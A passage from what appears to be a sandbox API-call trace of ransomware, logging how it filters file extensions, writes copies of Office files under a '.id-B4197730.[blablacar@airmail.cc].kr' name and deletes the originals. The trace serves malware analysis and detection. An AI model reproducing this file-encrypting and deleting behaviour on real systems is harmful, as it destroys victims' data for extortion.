(lpString=".doc") returned 4 [0188.417] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0188.417] lstrlenW (lpString=".docx") returned 5 [0188.417] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0188.417] lstrlenW (lpString=".pdf") returned 4 [0188.417] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0188.417] lstrlenW (lpString=".xls") returned 4 [0188.417] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0188.417] lstrlenW (lpString=".xlsx") returned 5 [0188.417] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0188.417] lstrlenW (lpString=".ppt") returned 4 [0188.417] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0188.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.417] lstrlenW (lpString=".zip") returned 4 [0188.417] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0188.417] lstrlenW (lpString=".rar") returned 4 [0188.417] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0188.417] lstrlenW (lpString=".bz2") returned 4 [0188.417] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString=".7z") returned 3 [0188.418] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.418] lstrlenW (lpString=".dbf") returned 4 [0188.418] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.418] lstrlenW (lpString=".1cd") returned 4 [0188.418] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.418] lstrlenW (lpString=".jpg") returned 4 [0188.418] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.418] lstrlenW (lpString=".doc") returned 4 [0188.418] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString=".docx") returned 5 [0188.418] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0188.418] lstrlenW (lpString=".pdf") returned 4 [0188.418] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString=".xls") returned 4 [0188.418] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0188.418] lstrlenW (lpString=".xlsx") returned 5 [0188.418] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0188.418] lstrlenW (lpString=".ppt") returned 4 [0188.419] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.419] lstrlenW (lpString=".zip") returned 4 [0188.419] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0188.419] lstrlenW (lpString=".rar") returned 4 [0188.419] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0188.419] lstrlenW (lpString=".bz2") returned 4 [0188.419] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0188.419] lstrlenW (lpString=".7z") returned 3 [0188.419] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.419] lstrlenW (lpString=".dbf") returned 4 [0188.419] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.419] lstrlenW (lpString=".1cd") returned 4 [0188.419] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0188.419] lstrlenW (lpString=".jpg") returned 4 [0188.419] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0188.420] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.420] lstrlenW (lpString="AppVPackaging.dll") returned 17 [0188.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0188.648] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=578264) returned 1 [0188.652] CloseHandle (hObject=0x540) returned 1 [0188.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0188.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString=".doc") returned 4 [0188.949] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString=".docx") returned 5 [0188.949] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0188.949] lstrlenW (lpString=".pdf") returned 4 [0188.949] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString=".xls") returned 4 [0188.949] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString=".xlsx") returned 5 [0188.949] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0188.949] lstrlenW (lpString=".ppt") returned 4 [0188.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString=".zip") returned 4 [0188.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString=".rar") returned 4 [0188.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString=".bz2") returned 4 [0188.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.949] lstrlenW (lpString=".7z") returned 3 [0188.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString=".dbf") returned 4 [0188.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString=".1cd") returned 4 [0188.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString=".jpg") returned 4 [0188.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.949] lstrlenW (lpString=".doc") returned 4 [0188.950] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.950] lstrlenW (lpString=".docx") returned 5 [0188.950] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0188.950] lstrlenW (lpString=".pdf") returned 4 [0188.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.950] lstrlenW (lpString=".xls") returned 4 [0188.950] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.950] lstrlenW (lpString=".xlsx") returned 5 [0188.950] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0188.950] lstrlenW (lpString=".ppt") returned 4 [0188.950] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.950] lstrlenW (lpString=".zip") returned 4 [0188.950] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.950] lstrlenW (lpString=".rar") returned 4 [0188.950] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.950] lstrlenW (lpString=".bz2") returned 4 [0188.950] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.950] lstrlenW (lpString=".7z") returned 3 [0188.950] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.950] lstrlenW (lpString=".dbf") returned 4 [0188.950] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.950] lstrlenW (lpString=".1cd") returned 4 [0188.950] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0188.950] lstrlenW (lpString=".jpg") returned 4 [0188.950] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.951] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0188.951] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29 [0188.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.951] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1347630) returned 1 [0188.951] CloseHandle (hObject=0x4d4) returned 1 [0188.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0188.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.952] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.952] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.953] GetLastError () returned 0x0 [0188.953] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0189.394] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0189.812] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4903e, lpOverlapped=0x0) returned 1 [0190.031] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x49040, lpOverlapped=0x0) returned 1 [0190.587] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.587] WriteFile (in: hFile=0x450, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0190.587] SetEndOfFile (hFile=0x450) returned 1 [0190.964] CloseHandle (hObject=0x450) returned 1 [0190.965] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.965] SetEndOfFile (hFile=0x4d4) returned 1 [0191.308] CloseHandle (hObject=0x4d4) returned 1 [0191.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0192.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.316] lstrlenW (lpString=".doc") returned 4 [0192.316] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0192.316] lstrlenW (lpString=".docx") returned 5 [0192.316] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0192.316] lstrlenW (lpString=".pdf") returned 4 [0192.316] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0192.316] lstrlenW (lpString=".xls") returned 4 [0192.316] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0192.316] lstrlenW (lpString=".xlsx") returned 5 [0192.316] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0192.316] lstrlenW (lpString=".ppt") returned 4 [0192.316] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0192.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.316] lstrlenW (lpString=".zip") returned 4 [0192.316] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0192.317] lstrlenW (lpString=".rar") returned 4 [0192.317] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0192.317] lstrlenW (lpString=".bz2") returned 4 [0192.317] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0192.317] lstrlenW (lpString=".7z") returned 3 [0192.317] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0192.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.317] lstrlenW (lpString=".dbf") returned 4 [0192.317] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0192.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.317] lstrlenW (lpString=".1cd") returned 4 [0192.317] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0192.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.317] lstrlenW (lpString=".jpg") returned 4 [0192.317] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0192.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.317] lstrlenW (lpString=".doc") returned 4 [0192.317] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0192.317] lstrlenW (lpString=".docx") returned 5 [0192.317] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0192.317] lstrlenW (lpString=".pdf") returned 4 [0192.317] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0192.317] lstrlenW (lpString=".xls") returned 4 [0192.317] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0192.317] lstrlenW (lpString=".xlsx") returned 5 [0192.317] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0192.317] lstrlenW (lpString=".ppt") returned 4 [0192.318] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0192.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.318] lstrlenW (lpString=".zip") returned 4 [0192.318] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0192.318] lstrlenW (lpString=".rar") returned 4 [0192.318] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0192.318] lstrlenW (lpString=".bz2") returned 4 [0192.318] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0192.318] lstrlenW (lpString=".7z") returned 3 [0192.318] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0192.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.318] lstrlenW (lpString=".dbf") returned 4 [0192.318] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0192.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.318] lstrlenW (lpString=".1cd") returned 4 [0192.318] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0192.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0192.318] lstrlenW (lpString=".jpg") returned 4 [0192.318] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0192.318] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.318] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30 [0192.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.719] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19932) returned 1 [0192.719] CloseHandle (hObject=0x410) returned 1 [0192.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0192.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.723] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.723] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0192.724] GetLastError () returned 0x0 [0192.724] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0192.726] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4de0, lpOverlapped=0x0) returned 1 [0192.728] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.728] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0192.728] SetEndOfFile (hFile=0x520) returned 1 [0192.728] CloseHandle (hObject=0x520) returned 1 [0192.728] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.728] SetEndOfFile (hFile=0x410) returned 1 [0192.731] CloseHandle (hObject=0x410) returned 1 [0192.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0192.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.732] lstrlenW (lpString=".doc") returned 4 [0192.732] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.732] lstrlenW (lpString=".docx") returned 5 [0192.732] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.732] lstrlenW (lpString=".pdf") returned 4 [0192.732] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.732] lstrlenW (lpString=".xls") returned 4 [0192.732] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.732] lstrlenW (lpString=".xlsx") returned 5 [0192.732] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.733] lstrlenW (lpString=".ppt") returned 4 [0192.733] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.733] lstrlenW (lpString=".zip") returned 4 [0192.733] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString=".rar") returned 4 [0192.733] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString=".bz2") returned 4 [0192.733] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString=".7z") returned 3 [0192.733] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.733] lstrlenW (lpString=".dbf") returned 4 [0192.733] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.733] lstrlenW (lpString=".1cd") returned 4 [0192.733] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.733] lstrlenW (lpString=".jpg") returned 4 [0192.733] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.733] lstrlenW (lpString=".doc") returned 4 [0192.733] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString=".docx") returned 5 [0192.733] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.733] lstrlenW (lpString=".pdf") 